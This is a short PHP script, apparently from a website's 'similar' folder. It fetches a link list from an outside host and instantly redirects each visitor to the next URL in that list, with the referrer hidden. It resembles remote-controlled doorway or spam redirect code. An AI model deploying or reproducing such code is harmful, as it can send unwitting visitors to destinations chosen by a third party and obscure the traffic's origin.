File: /var/www/cod67/data/www/cod67.ru/public_html/similar/index.php
<?php
error_reporting(E_ALL);
$links_content = file_get_contents('https://4li.ru/links.txt');
if ($links_content === false) {
die('Не удалось получить список ссылок');
}
$links = array_filter(array_map('trim', explode("\n", $links_content)));
$links = array_values($links);
$is_https = false;
if (isset($_SERVER['HTTP_CF_VISITOR'])) {
$cf_visitor = json_decode($_SERVER['HTTP_CF_VISITOR'], true);
$is_https = isset($cf_visitor['scheme']) && $cf_visitor['scheme'] === 'https';
}
elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO'])) {
$is_https = strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https';
}
elseif (isset($_SERVER['HTTPS'])) {
$is_https = strtolower($_SERVER['HTTPS']) === 'on';
}
$current_url = strtok(($is_https ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]", '?');
$current_index = array_search($current_url, $links);
if ($current_index !== false) {
$next_index = ($current_index + 1) % count($links);
$redirect_url = $links[$next_index];
header('Content-Type: text/html; charset=UTF-8');
?>
<!doctype html>
<html lang="en">
<meta name="referrer" content="no-referrer"/>
<meta http-equiv="refresh" content="0.2;url=<?php echo htmlspecialchars($redirect_url); ?>">
<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Redirecting...</title>
</head>
<body>
</body>
</html>
<?php
exit;
} else {
die('Текущий URL не найден в списке ссылок');
}